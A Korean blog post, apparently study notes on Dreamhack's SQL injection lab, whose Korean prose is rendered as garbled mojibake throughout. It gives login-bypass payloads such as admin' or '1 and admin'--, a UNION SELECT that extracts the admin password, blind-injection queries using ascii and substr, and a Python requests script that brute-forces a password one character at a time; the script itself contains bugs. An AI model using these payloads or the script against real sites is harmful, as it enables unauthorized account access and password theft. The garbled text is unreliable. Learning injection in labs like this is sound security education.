Jastes 2022. 10. 20. 09:37

1. Background: Relational DBMS

 

1. ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ๊ธฐ๋ณธ ๊ฐœ๋…๊ณผ DBMS - By L.M.S

 1. ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ํ•„์š”์„ฑ ๋”๋ณด๊ธฐ ๐Ÿ’กKEYWORD - ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ํ•„์š”์„ฑ - ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ์ •์˜์™€ ํŠน์„ฑ - ๋ฐ์ดํ„ฐ์™€ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค - DBMS, ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ๊ด€๋ฆฌ ์‹œ์Šคํ…œ ๋ฐ์ดํ„ฐ๋ž€? DATA : ํ˜„์‹ค ์„ธ๊ณ„์— ์žˆ๋Š” ๋ชจ๋“ 

dystopia050119.tistory.com

 

๊ด€๊ณ„ํ˜• ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๋ž€?

๊ด€๊ณ„ํ˜• ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์˜ ์ •์˜์™€ ์ด๋ฅผ ๋น„์ฆˆ๋‹ˆ์Šค์— ์ด์šฉํ•˜๋Š” ๋ฐฉ๋ฒ•์„ ์•Œ์•„๋ด…๋‹ˆ๋‹ค.

www.oracle.com

 

[database] ๊ด€๊ณ„ํ˜• DB์™€ ๋น„๊ด€๊ณ„ํ˜• DB์˜ ์ฐจ์ด์ 

์•ˆ๋…•ํ•˜์„ธ์š”~ ์˜ค๋Š˜์€ ๊ด€๊ณ„ํ˜• ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์™€ ๋น„๊ด€๊ณ„ํ˜• ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์— ๋Œ€ํ•ด ์•Œ์•„๋ณด๊ฒ ์Šต๋‹ˆ๋‹ค.  ๊ด€๊ณ„ํ˜• DB ์ผ๋ฐ˜์ ์œผ๋กœ ์šฐ๋ฆฌ๊ฐ€ ๋ฐฐ์›Œ์™”๋˜ Mysql, Oracle, Mssql ๊ฐ™์€ ๊ณ ์ „์ ์ธ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๋ฅผ ๊ด€๊ณ„ํ˜• ๋ฐ

newehblog.tistory.com

์—ฌ๊ธฐ์„œ๋ถ€ํ„ฐ ์ •๋ฆฌ๋œ ๋‚ด์šฉ์„ ๋ณด์‹œ๋ฉด ์•ต๊ฐ„ํ•ด์„  ๋ฐ”๋กœ ์ดํ•ดํ•˜๊ณ  ์‘์šฉํ•  ์ˆ˜ ์žˆ์„๊ฑฐ์˜ˆ์š”
์ฒœ์ฒœํžˆ ์ˆœ์„œ๋Œ€๋กœ ๋“ค์–ด๋ณด์„ธ์š”.. ์•„์ง ๊ท€์ฐฎ์•„์„œ ์ •๋ฆฌ๋ฅผ ๋‹ค ์•ˆ ํ–ˆ์ง€๋งŒ ๋‹ค ํ•ด๋ด์•ผ์ฃ ..
๊ทธ๋ฆฌ๊ณ  ์œ„์— 2๊ฐœ์˜ ๋งํฌ๋Š” ์ฐธ๊ณ  ์ž๋ฃŒ๋กœ์จ ์•„๋ž˜ 2๊ฐœ๋ฅผ ๋ณด์‹œ๋ฉด ์–ด๋Š์ •๋„ ์•Œ๋“ฏ ํ•˜๋„ค์š”

ํ‚ค์›Œ๋“œ

  • ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค: ๋ฐ์ดํ„ฐ๊ฐ€ ์ €์žฅ๋˜๋Š” ๊ณต๊ฐ„
  • DBMS: ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๋ฅผ ๊ด€๋ฆฌํ•˜๋Š” ์–ดํ”Œ๋ฆฌ์ผ€์ด์…˜
  • RDBMS: ํ…Œ์ด๋ธ” ํ˜•ํƒœ๋กœ ์ €์žฅ๋˜๋Š” ๊ด€๊ณ„ํ˜• DBMS
  • SQL: RDBMS์™€ ์ƒํ˜ธ์ž‘์šฉํ•  ๋•Œ ์‚ฌ์šฉ๋˜๋Š” ์–ธ์–ด

2. ServerSide: SQL Injection

์œ„์— ๋ณด์‹œ๋ฉด DBMS์™€ DB์˜ ๊ตฌ๋™์›๋ฆฌ๋ฅผ ์ดํ•ดํ–ˆ์„๊ฑฐ๋ผ๊ณ  ๋ฏฟ์–ด์š”..
๊ทธ๋Ÿผ ๋ณธ๊ฒฉ์ ์œผ๋กœ SQL Injection์— ๋Œ€ํ•˜์—ฌ ์•Œ์•„๋ณผ๊นŒ์š”?

 

์•„๋ž˜ ์˜ˆ์ œ๋ฅผ ๋ณด๋ฉด์„œ SQL๋ฌธ์„ ํ™œ์šฉํ•˜์—ฌ ์ž„์˜ ๋ฌธ์ž์—ด(๋ช…๋ น์–ด)๋ฅผ ์‚ฝ์ž…ํ•˜๋Š” ํ–‰์œ„๊ฐ€ SQL Injection!
์œ„์™€ ๊ฐ™์€ ๋ฌธ์ œ๊ฐ€ ๋ฐœ์ƒํ•˜๋ฉด ์กฐ์ž‘๋œ ์ฟผ๋ฆฌ๋กœ ์ธ์ฆ์„ ์šฐํšŒํ•˜๊ฑฐ๋‚˜, DB์˜ ์ •๋ณด๋ฅผ ์œ ์ถœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

/*
์•„๋ž˜ ์ฟผ๋ฆฌ ์งˆ์˜๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์€ ์˜๋ฏธ๋ฅผ ๊ฐ€์ง€๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค.

- SELECT: ์กฐํšŒ ๋ช…๋ น์–ด
- *: ํ…Œ์ด๋ธ”์˜ ๋ชจ๋“  ์ปฌ๋Ÿผ ์กฐํšŒ
- FROM accounts: accounts ํ…Œ์ด๋ธ” ์—์„œ ๋ฐ์ดํ„ฐ๋ฅผ ์กฐํšŒํ•  ๊ฒƒ์ด๋ผ๊ณ  ์ง€์ •
- WHERE user_id='dreamhack' and user_pw='password': user_id ์ปฌ๋Ÿผ์ด dreamhack์ด๊ณ , user_pw ์ปฌ๋Ÿผ์ด password์ธ ๋ฐ์ดํ„ฐ๋กœ ๋ฒ”์œ„ ์ง€์ •

์ฆ‰, ์ด๋ฅผ ํ•ด์„ํ•˜๋ฉด DBMS์— ์ €์žฅ๋œ accounts ํ…Œ์ด๋ธ”์—์„œ ์ด์šฉ์ž์˜ ์•„์ด๋””๊ฐ€ dreamhack์ด๊ณ , ๋น„๋ฐ€๋ฒˆํ˜ธ๊ฐ€ password์ธ ๋ฐ์ดํ„ฐ๋ฅผ ์กฐํšŒ
*/

SELECT * FROM accounts WHERE user_id='dreamhack' and user_pw='password'

๊ทธ๋ฆฌ๊ณ  ๋ฐ”๋กœ ์•„๋ž˜๋Š” SQL Injection์œผ๋กœ ์กฐ์ž‘๋œ ์ฟผ๋ฆฌ๋ฌธ์˜ ์˜ˆ์‹œ์ž…๋‹ˆ๋‹ค.
์ž˜ ์‚ดํŽด๋ณด๋ฉด, user_pw ์กฐ๊ฑด๋ฌธ์ด ์‚ฌ๋ผ์ง„ ๊ฒƒ์„ ํ™•์ธ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

 

์กฐ์ž‘๋œ ์ฟผ๋ฆฌ๋ฅผ ํ†ตํ•ด ์งˆ์˜ํ•˜๋ฉด DBMS๋Š” ID๊ฐ€ admin์˜ ๊ณ„์ •์˜ ๋น„๋ฒˆ ๋น„๊ต X
ํ•ด๋‹น ๊ณ„์ •์˜ ์ •๋ณด๋ฅผ ๋ฐ˜ํ™˜ํ•˜๊ธฐ์— ์ด์šฉ์ž๋Š” admin๊ณ„์ •์œผ๋กœ ๋กœ๊ทธ์ธํ•  ์ˆ˜ ์žˆ๊ฒ ์ฃ 


Simple SQL Injection

์ €ํฌ๋Š” ๊ทธ๋Ÿผ ์ธ์ฆ ์šฐํšŒ์— ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š” ๊ฒƒ์„ ๋ฐฐ์›Œ์œผ๋‹ˆ๊นŒ ์‹ค์Šตํ•ด๋ด…์‹œ๋‹ค.
Dreamhack.. ID์™€ PW๋ฅผ ์ž…๋ ฅ๋ฐ›๊ณ  ์กฐํšŒ ์ฟผ๋ฆฌ๋ฅผ ์ƒ์„ฑ ๋ฐ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค.
์‹ค์Šต ๋ชจ๋“ˆ์—์„œ ์‚ฌ์šฉํ•˜๋Š” user_table์€ ๋‹ค์Œ๊ณผ ๊ฐ™์ด ๊ตฌํ˜„๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค.

uid upw
guest guest
admin ???

์‹ค์Šต ๋ชจ๋“ˆ์˜ ๋ชฉํ‘œ๋Š” ์ฟผ๋ฆฌ ์งˆ์˜๋ฅผ ํ†ตํ•ด admin ๊ฒฐ๊ณผ๋ฅผ ๋ฐ˜ํ™˜ํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค.
์‹ค์Šต ๋ชจ๋“ˆ์—์„œ ์‚ฌ์šฉํ•˜๋Š” ์ฟผ๋ฆฌ๋ฌธ์˜ ๊ฒฝ์šฐ, ์ด์šฉ์ž์˜ ์ž…๋ ฅ๊ฐ’์„ ๋ฌธ์ž์—ด๋กœ ๋‚˜ํƒ€๋‚ด๊ธฐ ์œ„ํ•ด ' ๋ฌธ์ž ์‚ฌ์šฉ!
์—ฌ๊ธฐ์„œ ์ด์šฉ์ž์˜ ์ž…๋ ฅ๊ฐ’์ด SQL ๊ตฌ๋ฌธ์œผ๋กœ ํ•ด์„๋˜๊ธฐ ์œ„ํ•ด ' ๋ฌธ์ž๋ฅผ ์ž…๋ ฅํ•˜๋Š” ๋ฐฉ๋ฒ•๋„ ์กด์žฌํ•จ

 

uid์— admin' or '1์„ ์ž…๋ ฅํ•˜๊ณ , ๋น„๋ฒˆ์„ ์ž…๋ ฅ X ์ƒ์„ฑ๋˜๋Š” ์ฟผ๋ฆฌ๋ฌธ์€ ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค.

SELECT * FROM user_table WHERE uid='admin' or '1' and upw='';

์ฟผ๋ฆฌ๋ฌธ์„ ์‚ดํŽด๋ณด๋ฉด ๋‘ ๊ฐœ์˜ ์กฐ๊ฑด์œผ๋กœ ๋‚˜๋ˆ ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
์ฒซ๋ฒˆ์งธ๋ก  uid='admin' or '1'์˜ ๊ฒฝ์šฐ๋Š” ์•ž์—๋Š” ๋ฐ์ดํ„ฐ๊ฐ€ ๋’ค์—๋Š” True๋ฅผ ๋ฐ˜ํ™˜
์ฆ‰, ๋’ค์— ์žˆ๋Š” and upw='';๋ฅผ ํ™•์ธํ•  ํ•„์š”์—†์ด ์ฐธ์„ ๋ฐ˜ํ™˜ํ•œ๋‹ต๋‹ˆ๋‹ค.

SELECT * FROM user_table WHERE uid='admin'-- ' and upw='';

๋‹ค์‹œ ๋งํ•˜๋ฉด uid๊ฐ€ "admin"์ธ ๋ฐ์ดํ„ฐ๋ฅผ ๋ฐ˜ํ™˜ํ•˜๊ธฐ์— ๊ด€๋ฆฌ์ž๊ณ„์ •์œผ๋กœ ๋กœ๊ทธ์ธ์ด ๊ฐ€๋Šฅํ•œ ์ 
์ด ์™ธ์—๋„, ์ฃผ์„(--, #, /**/)์‚ฌ์šฉํ•˜๋Š” ๋“ฑ ๋‹ค์–‘ํ•œ ๋ฐฉ๋ฒ•์ด ์กด์žฌํ•œ๋‹ต๋‹ˆ๋‹ค.

์ง„์งœ ๊ฐ•์ถ”!
 

SQL injection cheat sheet | Web Security Academy

This SQL injection cheat sheet contains examples of useful syntax that you can use to perform a variety of tasks that often arise when performing SQL ...

portswigger.net

W3school - ์ „์ฒด์ ์ธ ์›น ๊ณต๋ถ€์—” ์ข‹์Œ(Dreamhack ์ถ”์ฒœ)
 

SQL UNION Operator

W3Schools offers free online tutorials, references and exercises in all the major languages of the web. Covering popular subjects like HTML, CSS, JavaScript, Python, SQL, Java, and many, many more.

www.w3schools.com

์œ„์— ์‚ฌ์ดํŠธ๋Š” ์ •๋ง ์ข‹์€ ์ฐธ๊ณ  ์ž๋ฃŒ ๊ฐ•์ถ”ํ•ฉ๋‹ˆ๋‹ค.(์ฐธ๊ณ ๋กœ ์ด๊ฑด SQL Injection ์šฐํšŒ ์ฝ”๋“œ)
๋” ๋งŽ์ด ์กด์žฌํ•˜๊ธฐ์— ์—ฌ๋Ÿฌ๊ฐ€์ง€ ์ˆ˜๋‹จ์ด ์žˆ๊ฒ ์ฃ ?

 

์ œ๊ฐ€ ํ•œ ๋ฐฉ์‹ : admin' UNION SELECT upw from user_table where uid='admin' or '1
๊ฒฐ๊ณผ๋Š” ์•„๋ž˜์—..


Blind SQL Injection

์œ„์˜ ๊ณต๊ฒฉ์€ ์ธ์ฆ ์šฐํšŒ ์ด์™ธ์—๋„ DB์˜ data๋ฅผ ์•Œ ์ˆ˜ ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค.
์ผ์ข…์— ํ•ด๋‹น ์ •๋ณด๋งŒ ์ง๊ด€์ ์œผ๋กœ ์•Œ๋ ค์ฃผ๊ธฐ์— ์‚ฌ์šฉ๋˜๋Š” ๊ณต๊ฒฉ๊ธฐ๋ฒ•์ธ Blind SQL Injection!
์Šค๋ฌด๊ณ ๊ฐœ์™€ ์œ ์‚ฌํ•œ ๋ฐฉ์‹์œผ๋กœ ๋ฐ์ดํ„ฐ๋ฅผ ์•Œ์•„๋‚ผ ์ˆ˜ ์žˆ์–ด์š”

Blind SQL Injection ์˜ˆ์‹œ

์งˆ์˜ ๊ฒฐ๊ณผ๋ฅผ ์ด์šฉ์ž๊ฐ€ ํ™”๋ฉด์—์„œ ์ง์ ‘ ํ™•์ธ์ด ๋ถˆ๊ฐ€ํ•  ๋•Œ ์ฐธ/๊ฑฐ์ง“ ๋ฐ˜ํ™˜ ๊ฒฐ๊ณผ๋กœ
๋ฐ์ดํ„ฐ๋ฅผ ํš๋“ํ•˜๋Š” ๊ณต๊ฒฉ ๊ธฐ๋ฒ•์„ Blind SQL Injection ๊ธฐ๋ฒ•์ด๋ผ๊ณ  ํ•ฉ๋‹ˆ๋‹ค!


Blind SQL Injection ๊ณต๊ฒฉ ์ฟผ๋ฆฌ
# ์ฒซ ๋ฒˆ์งธ ๊ธ€์ž ๊ตฌํ•˜๊ธฐ (์•„์Šคํ‚ค 114 = 'r', 115 = 's'')
SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,1,1))=114-- ' and upw=''; # False
SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,1,1))=115-- ' and upw=''; # True

# ๋‘ ๋ฒˆ์งธ ๊ธ€์ž ๊ตฌํ•˜๊ธฐ (์•„์Šคํ‚ค 115 = 's', 116 = 't')
SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,2,1))=115-- ' and upw=''; # False
SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,2,1))=116-- ' and upw=''; # True

์œ„์™€ ๊ฐ™์ด ํ•œ ๋ฒˆ ์‹คํ–‰ํ•ด๋ณธ ๋ชจ์Šต(๊ฒฐ๊ณผ๊ฐ€ ์ฐธ์ด๋ฉด admin์œผ๋กœ ๋‚˜์˜ค๊ณ  ์•„๋‹ˆ๋ฉด ์•ˆ ๋‚˜์˜ด)

์œ„ ์ฝ”๋“œ๋Š” Blind SQL Injection ๊ณต๊ฒฉ ์‹œ์— ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š” ์ฟผ๋ฆฌ์ž…๋‹ˆ๋‹ค.
์ฟผ๋ฆฌ๋ฅผ ์‚ดํŽด๋ณด๋ฉด ์„ธ๊ฐœ์˜ ์กฐ๊ฑด์„ ์‚ดํŽด๋ณด๊ธฐ ์ „์— ascii์™€ substr ํ™•์ธํ•ฉ์‹œ๋‹ค


ascii

์ „๋‹ฌ๋œ ๋ฌธ์ž๋ฅผ ์•„์Šคํ‚ค ํ˜•ํƒœ๋กœ ๋ฐ˜ํ™˜ํ•˜๋Š” ํ•จ์ˆ˜๋กœ์จ,
์˜ˆ๋กœ ascii('a')๋ฅผ ์‹คํ–‰ํ•˜๋ฉด 'a' ๋ฌธ์ž์˜ ์•„์Šคํ‚ค ๊ฐ’์ธ 97์ด ๋ฐ˜ํ™˜๋จ


substr

ํ•ด๋‹น ํ•จ์ˆ˜์— ์ „๋‹ฌ๋˜๋Š” ์ธ์ž์™€ ์˜ˆ์‹œ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค.
ํ•ด๋‹น ํ•จ์ˆ˜๋Š” ๋ฌธ์ž์—ด์—์„œ ์ง€์ •ํ•œ ์œ„์น˜๋ถ€ํ„ฐ ๊ธธ์ด๊นŒ์ง€์˜ ๊ฐ’์„ ๊ฐ€์ ธ์˜ด

substr(string, position, length)
substr('ABCD', 1, 1) = 'A'
substr('ABCD', 2, 2) = 'BC'

์œ„ ๊ณต๊ฒฉ ์ฟผ๋ฆฌ์˜ ์„ค๋ช…์€ ๊ตณ์ด ํ•„์š” ์—†์„ ๊ฑฐ ๊ฐ™์œผ๋‹ˆ๊นŒ ์ƒ๋žตํ• ๊ป˜์š”


Blind SQL Injection attack script

์ด ๊ณต๊ฒฉ์€ ํ•œ ๋ฐ”์ดํŠธ์”ฉ ๋น„๊ต ๊ณต๊ฒฉํ•˜๋Š” ๋ฐฉ์‹์œผ๋กœ ๋‹ค๋ฅธ ๊ณต๊ฒฉ์— ๋น„ํ•ด ๋งŽ์€ ์‹œ๊ฐ„์ด ์š”๊ตฌ๋จ
์ด๋Ÿฐ ๋ฌธ์ œ๋ฅผ ํ•ด๊ฒฐํ•˜๊ธฐ ์œ„ํ•ด์„  ์ž๋™ํ™”ํ•˜๋Š” ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์ž‘์„ฑํ•ด์•ผ๊ฒ ์ฃ 

 

๊ณต๊ฒฉ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์ž‘์„ฑํ•˜๊ธฐ์— ์•ž์„œ ์œ ์šฉํ•œ lib๋ฅผ ์•Œ์•„๋ด…์‹œ๋‹ค.
ํŒŒ์ด์ฌ์€ HTTP ํ†ต์‹ ์„ ์œ„ํ•œ ๋‹ค์–‘ํ•œ ๋ชจ๋“ˆ์ด ์กด์žฌํ•˜๋Š”๋ฐ ๋Œ€ํ‘œ์ ์œผ๋ก  requests ๋ชจ๋“ˆ์ด ์žˆ์ฃ 
ํ•ด๋‹น ๋ชจ๋“ˆ์€ ๋‹ค์–‘ํ•œ ๋ฉ”์†Œ๋“œ๋ฅผ ์ด์šฉ ์š”์ฒญ์„ ๋ณด๋‚ด๊ณ  ์‘๋‹ต ๋˜ํ•œ ํ™•์ธ์ด ๊ฐ€๋Šฅํ•ด์š”

requests ๋ชจ๋“ˆ GET ์˜ˆ์ œ ์ฝ”๋“œ
import requests
url = 'https://dreamhack.io/'

headers = {
    'Content-Type': 'application/x-www-form-urlencoded',
    'User-Agent': 'DREAMHACK_REQUEST'
}

params = {
    'test': 1,
}


for i in range(1, 5):
    c = requests.get(url + str(i), headers=headers, params=params)
    print(c.request.url)
    print(c.text)

requests.get์€ GET ๋ฉ”์†Œ๋“œ๋ฅผ ์‚ฌ์šฉํ•ด HTTP ์š”์ฒญ์„ ๋ณด๋‚ด๋Š” ํ•จ์ˆ˜๋กœ,
URL๊ณผ Header, Parameter์™€ ํ•จ๊ป˜ ์š”์ฒญ์„ ์ „์†กํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

requests ๋ชจ๋“ˆ POST ์˜ˆ์ œ ์ฝ”๋“œ
import requests

url = 'https://dreamhack.io/'

headers = {
    'Content-Type': 'application/x-www-form-urlencoded',
    'User-Agent': 'DREAMHACK_REQUEST'
}

data = {
    'test': 1,
}


for i in range(1, 5):
    c = requests.post(url + str(i), headers=headers, data=data)
    print(c.text)

HTTP์˜ POST ๋ฉ”์†Œ๋“œ ํ†ต์‹ ์„ ํ•˜๋Š” ์˜ˆ์ œ ์ฝ”๋“œ์ž…๋‹ˆ๋‹ค.
requests.post๋Š” POST ๋ฉ”์†Œ๋“œ๋ฅผ ์‚ฌ์šฉํ•ด HTTP ์š”์ฒญ์„ ๋ณด๋‚ด๋Š” ํ•จ์ˆ˜๋กœ,
URL๊ณผ Header Body์™€ ํ•จ๊ป˜ ์š”์ฒญ์„ ์ „์†กํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

 

Python Requests Module

W3Schools offers free online tutorials, references and exercises in all the major languages of the web. Covering popular subjects like HTML, CSS, JavaScript, Python, SQL, Java, and many, many more.

www.w3schools.com

๋” ์ž์„ธํ•œ ๋‚ด์šฉ์€ ์œ„์— ๋งํฌ์—์„œ requests ํ•จ์ˆ˜์˜ ๋ชจ๋“ˆ ๋ฌธ์„œ์—์„œ ํ™•์ธํ•ด์ฃผ์„ธ์š”


Blind SQL Injection attack script write

์œ„์—์„œ ๋‹ค๋ฃฌ ์˜ˆ์ œ๋กœ ๊ณต๊ฒฉ์„ ์‹œ๋„ํ•œ๋‹ค๊ณ  ๊ฐ€์ •ํ•˜๋ฉด..
๋จผ์ € ์•„์Šคํ‚ค ๋ฒ”์œ„ ์ค‘ ์ด์šฉ์ž๊ฐ€ ์ž…๋ ฅํ•  ์ˆ˜ ์žˆ๋Š” ๋ชจ๋“  ๋ฌธ์ž์˜ ๋ฒ”์œ„๋ฅผ ์ง€์ •ํ•ด์•ผํ•ด์š”
์˜ˆ๋กœ ๋น„๋ฒˆ์˜ ๊ฒฝ์šฐ ์•ŒํŒŒ๋ฒณ๊ณผ ์ˆซ์ž ๊ทธ๋ฆฌ๊ณ  ํŠน์ˆ˜๋ฌธ์ž๋กœ ๋ฒ”์œ„๋ฅผ ๋‚˜ํƒ€๋‚ด๋ฉด(32-126)๊นŒ์ง€ ์ƒ๊ฐํ•ด์•ผํ•˜์ฃ 
์œ„์—์„œ ๊ณ ๋ คํ•œ ๋ถ€๋ถ„์„ ์ž‘์„ฑํ•œ๊ฒŒ ์•„๋ž˜์™€ ๊ฐ™์Šต๋‹ˆ๋‹ค. ์‚ดํŽด๋ณด๋ฉด..

#!/usr/bin/python3

import requests
import string

url = 'http://example.com/login' # example URL

params = {
    'uid': '',
    'upw': ''
}
 
# abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~ 
tc = string.ascii_letters + string.digits + string.punctuation 
query = ''' admin' and ascii(substr(upw,{idx},1))={val}-- '''
password = ''

for idx in range(0, 20):
    for ch in tc:
        params['uid'] = query.format(idx=idx, val=ord(ch)).strip("\n")
        c = requests.get(url, params=params)

		print(c.request.url)
        
        if c.text.find("Login success") != -1:
            password += chr(ch)
            break

print(f"Password is {password}")
 

string — ์ผ๋ฐ˜์ ์ธ ๋ฌธ์ž์—ด ์—ฐ์‚ฐ — Python 3.10.8 ๋ฌธ์„œ

string — ์ผ๋ฐ˜์ ์ธ ๋ฌธ์ž์—ด ์—ฐ์‚ฐ ์†Œ์Šค ์ฝ”๋“œ: Lib/string.py ๋ฌธ์ž์—ด ์ƒ์ˆ˜ ์ด ๋ชจ๋“ˆ์— ์ •์˜๋œ ์ƒ์ˆ˜๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค: string.ascii_letters ์•„๋ž˜์— ๋‚˜์˜ค๋Š” ascii_lowercase์™€ ascii_uppercase ์ƒ์ˆ˜๋ฅผ ์ด์–ด๋ถ™์ธ ๊ฒƒ์ž…๋‹ˆ๋‹ค

docs.python.org

์ฝ”๋“œ ๋ถ„์„ ๋ถ€๋ถ„์€ ์Œ.. ํ• ๊นŒ์š”? ์•ž์—์„œ ๋งŽ์ด ํ–ˆ๊ณ  ํ•ด๋‹น ๋งํฌ๋“ค ๋ณด์‹œ๋ฉด ๊ธˆ๋ฐฉ ์•„์‹ค ์ˆ˜ ์žˆ์–ด์„œ..
๋„˜์–ด๊ฐˆ๊ป˜์š” ๊ทธ๋Ÿผ ์—ฌ๊ธฐ์„œ ๋


์ฐธ๊ณ  ์ž๋ฃŒ

 

Background: Relational DBMS

์ด ์ฝ”์Šค์—์„œ๋Š” ๊ด€๊ณ„ํ˜• ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ๊ด€๋ฆฌ ์‹œ์Šคํ…œ๊ณผ SQL์— ๋Œ€ํ•ด ์•Œ์•„๋ด…๋‹ˆ๋‹ค.

dreamhack.io

์ฐธ๊ณ  ์ด๋ฏธ์ง€

 

ServerSide: SQL Injection

์ด ์ฝ”์Šค์—์„œ๋Š” ์„œ๋ฒ„ ์‚ฌ์ด๋“œ ๊ณต๊ฒฉ์ธ SQL Injection์— ๋Œ€ํ•ด ์„ค๋ช…ํ•ฉ๋‹ˆ๋‹ค.

dreamhack.io